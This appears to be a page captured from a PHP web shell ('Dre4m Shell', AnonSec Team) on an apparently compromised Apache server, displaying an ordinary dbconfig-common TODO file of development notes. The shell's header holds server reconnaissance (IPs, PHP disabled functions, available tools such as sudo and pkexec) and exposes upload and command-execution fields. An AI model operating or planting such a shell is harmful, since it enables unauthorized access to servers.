Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.129.194.130
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/dbconfig-mysql/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/doc/dbconfig-mysql/TODO
- the code is "in the process of" getting a cleanup.  there are still a
  few globally scoped variables that ought to be removed and/or replaced
  by local scoped variables.

- testing various corner cases:
  - errors dumping during upgrade
  - errors dumping during purge

- multiple instance support for many databases from one package.  the
  idea is to create seperate "package configurations" that are derived
  from the main configuration, using something to keep them in a namespace
  that won't conflict with the standard package configurations.  something
  like /etc/dbconfig-common/package_instance.conf etc.  most of dbconfig's
  code could escape needing a rewrite then, as we could internally "trick"
  the code into thinking that was the actual package name.

- provide a normal-user-accessible script for setting up databases
  (for running out of public_html type directories etc).

- think about how this should tie in with the webapps-common.

- begin discussion on having the "best-practices" document incorporated
  in some form as debian policy.

- ask if the user is to be completely deleted or only have privileges
  revoked in mysql.  this is the default in pgsql, but in pgsql the drop
  will fail if the user owns other databases (not so in mysql).
  See bug #400566

- mysql does not support ssl for the time being (see bug #291945) <- fixed...

- FIX no-admin patch to use new VAR instead of debconf item (to prevent
   regression test from failing)

*  Fix postinst to use _dbc_asuser when appropriate   
   
*  Add testcase that tests admin remove scripts (#705222)

*  debconf is not a registry should not lead to dbconfig-common has its own
   registry (which is currently the case)

*  Provide config parsers (as requested in 690390(?) against debconf)

*  Get dbconfig-common mentioned in policy

*  Remove some of the upgrade code if no package depends on it make things easier

*  More databases (e.g. mongodb)

*  Support DSN: apparently python has multiple ways of making the connection

*  Investigate if ENCODING is done properly, maybe needs more care:
   http://www.postgresql.org/docs/current/static/multibyte.html

*  Fix unittest framework for posh, now a "mock" version breaks the "real"
   version with:
   "mock-mysql-tests.sh: mysql: can't find function definition file."
   No idea why pgsql works though.

*  Add pgsql upgrade example package to test that as well

*  fix bug 808370 by resetting properly when dbc_command = reconfigure

*  Check if postgresql users are limited to dbc_dballow (doesn't look like it)

*  Check if PostgreSQL users are limited to their own database (doesn't look
   like it)

*  Add documentation for packages on changing the default for backups

*  Investigate which databases could/should be supported (list from adodb site):
    Access
    ADO
    CSV
    Firebird
    Frontbase
    IBM DB2
    Informix
    Interbase
    LDAP
    Microsoft SQL Server
    MySQL
    Netezza
    ODBC
    ODBTP
    Oracle
    PDO
    Postgresql
    SAP ADS
    SAP ASE
    SAP Maxdb
    SAP Sqlanywhere
    Sqlite
    Sybase
    Plain Text
    Visual Foxpro

Anon7 - 2022
AnonSec Team